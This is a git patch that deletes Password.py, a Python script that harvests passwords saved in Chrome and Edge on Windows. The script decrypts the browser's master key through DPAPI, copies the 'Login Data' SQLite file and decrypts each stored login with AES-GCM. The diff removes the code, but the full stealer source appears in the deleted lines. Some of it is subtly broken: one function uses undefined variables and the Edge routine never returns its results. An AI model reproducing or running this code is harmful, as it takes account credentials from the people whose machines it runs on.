From b634149fa9edb43647e0d7d51cf54793dfe7c423 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E2=88=85=E3=83=90=E3=83=BC=E3=83=B3=E3=82=BA=E2=88=85?= Date: Wed, 12 Jun 2024 16:21:48 +0530 Subject: [PATCH] Delete Password.py --- Password.py | 124 ---------------------------------------------------- 1 file changed, 124 deletions(-) delete mode 100644 Password.py diff --git a/Password.py b/Password.py deleted file mode 100644 index bc4fb96..0000000 --- a/Password.py +++ /dev/null @@ -1,124 +0,0 @@ -import os -import json -import base64 -import sqlite3 -import win32crypt -from Crypto.Cipher import AES -import shutil -import time -from datetime import datetime, timedelta - - -def convert_date(ft): - utc = datetime.utcfromtimestamp(((10 * int(ft)) - file_name) / nanoseconds) - return utc.strftime('%Y-%m-%d %H:%M:%S') - -def get_master_key(): - try: - with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Local State', "r", encoding='utf-8') as f: - local_state = f.read() - local_state = json.loads(local_state) - except: exit() - master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:] - return win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] - -def decrypt_payload(cipher, payload): - return cipher.decrypt(payload) - -def generate_cipher(aes_key, iv): - return AES.new(aes_key, AES.MODE_GCM, iv) - -def decrypt_password_edge(buff, master_key): - try: - iv = buff[3:15] - payload = buff[15:] - cipher = generate_cipher(master_key, iv) - decrypted_pass = decrypt_payload(cipher, payload) - decrypted_pass = decrypted_pass[:-16].decode() - return decrypted_pass - except Exception as e: return "Chrome < 80" - -def get_passwords_edge(): - master_key = get_master_key() - login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Default\Login Data' - try: shutil.copy2(login_db, "Loginvault.db") - except: print("Edge browser not detected!") - conn = sqlite3.connect("Loginvault.db") - cursor = conn.cursor() - - try: - cursor.execute("SELECT action_url, username_value, password_value FROM logins") - result = {} - for r in cursor.fetchall(): - url = r[0] - username = r[1] - encrypted_password = r[2] - decrypted_password = decrypt_password_edge(encrypted_password, master_key) - if username != "" or decrypted_password != "": - result[url] = [username, decrypted_password] - except: pass - - cursor.close(); conn.close() - try: os.remove("Loginvault.db") - except Exception as e: print(e); pass - -def get_chrome_datetime(chromedate): - return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) - -def get_encryption_key(): - try: - local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") - with open(local_state_path, "r", encoding="utf-8") as f: - local_state = f.read() - local_state = json.loads(local_state) - - key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:] - return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] - except: time.sleep(1) - -def decrypt_password_chrome(password, key): - try: - iv = password[3:15] - password = password[15:] - cipher = AES.new(key, AES.MODE_GCM, iv) - return cipher.decrypt(password)[:-16].decode() - except: - try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) - except: return "" - -def main(): - key = get_encryption_key() - db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") - file_name = "ChromeData.db" - shutil.copyfile(db_path, file_name) - db = sqlite3.connect(file_name) - cursor = db.cursor() - cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") - result = {} - for row in cursor.fetchall(): - action_url = row[1] - username = row[2] - password = decrypt_password_chrome(row[3], key) - if username or password: - result[action_url] = [username, password] - else: continue - cursor.close(); db.close() - try: os.remove(file_name) - except: pass - return result - -def grab_passwords(): - file_name, nanoseconds = 116444736000000000, 10000000 - try: - result = main() - except: - time.sleep(1) - - try: - result2 = get_passwords_edge() - for i in result2.keys(): - result[i] = result2[i] - except: - time.sleep(1) - - return result